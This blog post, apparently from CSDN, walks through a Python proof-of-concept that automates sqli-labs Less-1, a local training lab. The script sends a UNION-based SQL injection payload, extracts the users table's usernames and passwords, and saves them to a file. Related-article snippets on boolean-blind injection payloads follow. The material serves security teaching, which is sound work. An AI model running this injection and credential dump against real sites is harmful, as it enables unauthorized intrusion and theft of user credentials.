代码编织梦想

文章目录

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第一关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

import re
import requests
import os
print("当前工作目录:", os.getcwd())


def send_request(url):
    headers = {
        'Host': 'sql:8081',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    params = {
        'id': "-1' union select 1,2,group_concat(username,0x3a,password) from users-- -"
    }
    try:
        response = requests.get(url + "/Less-1/", headers=headers, params=params, verify=False)
        if response.status_code == 200:
            print(f'{url} 存在漏洞.')
            html_content = response.text
            pattern = r'Your Password:(.*?)</font>'
            credentials = re.findall(pattern, html_content, re.DOTALL)
            if credentials:
                pairs = credentials[0].split(',')
                file_path = os.path.join(os.getcwd(), 'credentials.txt')
                with open(file_path, 'w') as f:
                    for pair in pairs:
                        username, password = pair.split(':')
                        # 写入用户名和密码到文件
                        f.write(f'Username: {username.strip()}, Password: {password.strip()}\n')
            print('Credentials have been extracted and saved to credentials.txt.')
        else:
            print(f'{url} no.')
    except requests.RequestException as e:
        print(f'Error scanning {url}: {e}')


send_request('http://sql:8081')

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/CSDNagk1/article/details/142144066

sqli-labs靶场8关(布尔盲注)-爱代码爱编程

知识点 函数 ascii()函数 将某个字符串转化为ascii值(webRobot转换工具)ord()函数 将某个字符串转化为ascii值 length()函数 返回字段/结果/函数的长度,length(column_name) length(database()) 即返回当前数据库名长度 substr()函数

sqli-labs靶场第五关-爱代码爱编程

第五关与前面几关都有所不同,话不多说,我们传入id=1进去看看吧! 此时页面回显信息为you are in… 第一步:判断注入类型,字符型还是数字型 从报错信息不难看出注入类型为字符型,且为单引号闭合 此步证实了单引号闭合 第二步:判断字段数(使用order by) order by 3时页面正常,order by 4时页面异常,说明有三个字段 页面有布尔

sqli-labs第八关-布尔注入-爱代码爱编程

文章目录 布尔注入一、第八关爆数据库名判断长度爆破数据库名爆表名判断表的长度判断第一个表的长度判断表的字符爆字段获取字段列数获取字段列名获取表中的数据获取条数判断数据长度判断长度判断数据总结 布尔注入 如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入.通过插入一些语句查看结果来判断是否存在布尔注入.布尔注入的几个常用函数函数使用:

sqli-labs第8关(布尔盲注)-爱代码爱编程

概念: 布尔盲注:页面回显信息只有“真”与“假”两种状态,通过将猜测的值与ASCII码比较返回真假值进验证。 步骤: 1.求闭合字符 2.求当前数据库名的长度 3.求当前数据库名的ASCII值 4.求表的数量 5.求表名的长度 6.求表名对应的ASCII值 7.求列的数量 8.求列名的长度 9求列名对应的ASCII值 10.求字段数量 11.求字段长度 1

sqli靶场练习第五关-爱代码爱编程

sqli-labs靶场第五关-盲注详解 现在一般情况下,大多数的网站都不会将错误回显出来,这时候我们是不知道有注入点,以及得到相关信息的。这个时候就需要我们判断是否存在注入,若存在注入那么这时候就需要采取盲注的方式来获得数据。 盲注又分为Boolean盲注和时间型盲注,本关要讲的是Boolean盲注。 Boolean盲注是基于真假的判断,它有几种判断方式

sqli-lab闯关第5关---第10关_star-r的博客-爱代码爱编程

目录 第五关Less-5: 1、判断注入点类型 2、确定显示位置 3、报错注入方法 4、查询库名 5、查询表名 6、查询列名 7、查看用户名和密码:  第六关Less-6: 1、判断注入点类型 2、查询库名 3、其他步骤同上一关; 第七关Less-7: 1、判断注入点类型 第八关Less-8: 1、判断注入点类型 2、布尔

sqli-爱代码爱编程

# @Author:Mirror import time import requests db_len = 0 def get_schema_len (url): len = 0 left = 0 right = 20 while (left <= right): mid = left + (rig

sqli-爱代码爱编程

还是id=1,正常显示  使用id=1',发现并没有报错,而是没有正常显示  使用id=1''和id=1'--+,正常显示  猜测是关闭了报错,根据正确和错误的回显不同,可以使用布尔盲注 需要使用到的函数: ascii():可将一个字符作为输入,并返回这个字符的ASCII码值 substr():用于截取字符串的函数 length(

​sqli-爱代码爱编程

Sqli-labs-Less-9 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互) 利用 order by 来测列数     测显位:mysql用1,2,3,4  Mysql

sqli-爱代码爱编程

Sqli-labs-Less-11 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互) 利用 order by 来测列数     测显位:mysql用1,2,3,4 Mysql

sqli-爱代码爱编程

Sqli-labs-Less-8 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)    利用 order by 来测列数     测显位:mysql用1,2,3,4  My

sqli-爱代码爱编程

Sqli-labs-Less-5 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)     利用 order by 来测列数     测显位:mysql用1,2,3,4  M

sqli-爱代码爱编程

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。 Less 8 SQLI DUMB SERIES-8 判

​sqli-爱代码爱编程

Sqli-labs-Less-7 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)    利用 order by 来测列数     测显位:mysql用1,2,3,4  My

sqli-爱代码爱编程

第五关 一.打开靶场进入less5,由页面可知参数仍为id,首先判断参数类型是字符型还是数字型,然后判断闭合类型,通过注释符--+跳出原有命令 二.判断字段列数,order by 3时页面正常显示  order by 4 时页面报错,证明字段列数为3 三.测试页面回显时发现页面并不能回显,这是我们可以试试报错注入 四.执行updat

sqli.labs靶场(8-爱代码爱编程

8、第八关(布尔盲注) id=1显示You are in...........,id=1'单引号不显示,id=1' --+显示正常 这个应该是单引号闭合,接下来就和第七关差不多上脚本 爆库名长度:id=1%27%20and%20length(database())={i}%20--+ 爆库名:id=1%27%20and%20substr(dat